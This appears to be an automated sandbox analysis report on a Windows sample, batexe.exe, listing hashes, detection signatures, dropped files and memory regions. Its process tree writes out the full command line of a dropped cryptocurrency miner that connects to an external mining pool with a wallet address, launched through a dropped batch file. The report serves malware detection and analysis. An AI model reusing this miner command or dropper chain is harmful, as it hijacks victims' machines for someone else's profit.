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Analysis

  • max time kernel
    294s
  • max time network
    302s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
  • submitted
    13/02/2024, 15:56

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4116
    • C:\Users\Admin\AppData\Local\Temp\7891.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\7891.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\7891.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2696
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7D25.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2052
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:4760

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\7891.tmp\b2e.exe

    Filesize

    2.5MB

    MD5

    35ffee4e793de9e8635fb4a825da13d7

    SHA1

    33e645756e7bd58ca2b085febdd3abbfc9e0627a

    SHA256

    46ff93e4e4951c8f7bcd739c955a7175131da5abb67c7e57cf339265aa6f63ab

    SHA512

    edb5cff501f7558320ba7644d226753cdcee3b2ca390ccd5a218ec3442766aed66d82f12d4d20ce264c89bc1f3f155afc60ee6c2e58f024ff556f65662f3366a

  • C:\Users\Admin\AppData\Local\Temp\7891.tmp\b2e.exe

    Filesize

    1.9MB

    MD5

    72bcdd2e3cbd85a56349c883c844708c

    SHA1

    2919f537c2c8c34d155c32454b4ad14bbd8db5ca

    SHA256

    7105f05e3bc3e033e90f71c36b0a47d6d89574b217581443f55325fd2d9aa0d4

    SHA512

    82121fd7c939219718e4917d6547caa552e55000666ce3df88b8b8d86e8c1acf312b3c8dcdd7d3555d4a57152df7fc03d57cf209d433f29ed5dced45163be444

  • C:\Users\Admin\AppData\Local\Temp\7D25.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1.6MB

    MD5

    51a57c612d315cd4202df8e75c1013da

    SHA1

    e58bc6db0f4c9dd680e300cdc660210316ebcf19

    SHA256

    7652861f498ad81f347beb2197d0ecd193ddf5645d018e533e840c0765b22b8f

    SHA512

    cb9b55ca097de0bbec9360f7450cceee0d7c307feb81f59ef0b6caada1cf2862d494a52e3c8eb33a8d894be076298433dbe83ff936feea953c560accfcadb675

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    1.5MB

    MD5

    d89ba0239cbc26be4bd6a90d6f9f81b2

    SHA1

    7c5166ac381c1fa9b1ed6087b1db5d007759c9e9

    SHA256

    3bb90ae21ba5e12fc3737885fa63209d2de6c8a13f1967d56ce497c0c24d5132

    SHA512

    7719a303545c81bc5eacde33a02446c130a3c693f0215b8c619874ac71d5b6790730f829d79e961c9531320d2db92da7c57cf74a34bd3f2cf064cc54daea0b8b

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.5MB

    MD5

    73541513dbe2388880fdfbe2d092d470

    SHA1

    cf554348daa6e4384aa8972607e0fb85eef1f0e4

    SHA256

    9442647e652eabce1a148387d4c839ac5b216081943e4a42082f119621cf1a71

    SHA512

    6fcf3bd2b1374b6821ca17977841a2c0aa185f5070f881ab83768c3ba6153d52ace547ece5411028ff03e0ffab62e1d30bab5637366ea4c98c1316b878cc7ca9

  • \Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    8339dd854ac8acbd755c7be45d3534c0

    SHA1

    c3450b51184637d82c27987117ed85c49f1ef097

    SHA256

    8e848628061dd11dcc386118b70c602aa51458bf1ce865c84752af7d8bd6e61d

    SHA512

    620f53d149dc4a1a240fce6c3baafad84d3a132b28493560a3e090911623b4c63294b0dc389f0eaede7d7007c55fab69b2d4a4f8691d0fa2de8312ee828e38a1

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.7MB

    MD5

    dd59a0e1e5824b698f74bd74862b1ec3

    SHA1

    b4a3d21acd103ec90e4d794d5152dd9e3d6268f5

    SHA256

    6b168c7c5c7fc5be1f0df5a9e1865703cb5bb37441bd88ed5893ecdf289a09c4

    SHA512

    5b9096f4c958fa537e8f39ed17ea46ff4a4e5483496311c8387ad3df97b4345e8af175a637482c4857069831a6806450c3ff2e664a46a628cf75f570a80c7b9a

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    1.4MB

    MD5

    6209d231684a8f2e5e435f52c37246d1

    SHA1

    b86fbebd13d623ebc5765543b2ef075f41e57c7c

    SHA256

    d63535da6cdab2c1a2fe1620c6a418ba16e60f52545f5719bb88e7313f63de9c

    SHA512

    9d4d2d39827ebd76373a3cb02ccdc6b70737b4842aa9e9949f3c411502feda78d8c60e0612261f2b0491c928f3807c5d43030fae8d7192f265cd42fa356c9f09

  • \Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • memory/2696-50-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/2696-5-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/4116-4-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/4760-40-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4760-42-0x0000000050210000-0x00000000502A8000-memory.dmp

    Filesize

    608KB

  • memory/4760-43-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/4760-44-0x0000000001050000-0x0000000002905000-memory.dmp

    Filesize

    24.7MB

  • memory/4760-45-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4760-41-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/4760-51-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4760-56-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4760-66-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4760-71-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4760-76-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4760-81-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4760-86-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4760-96-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4760-101-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB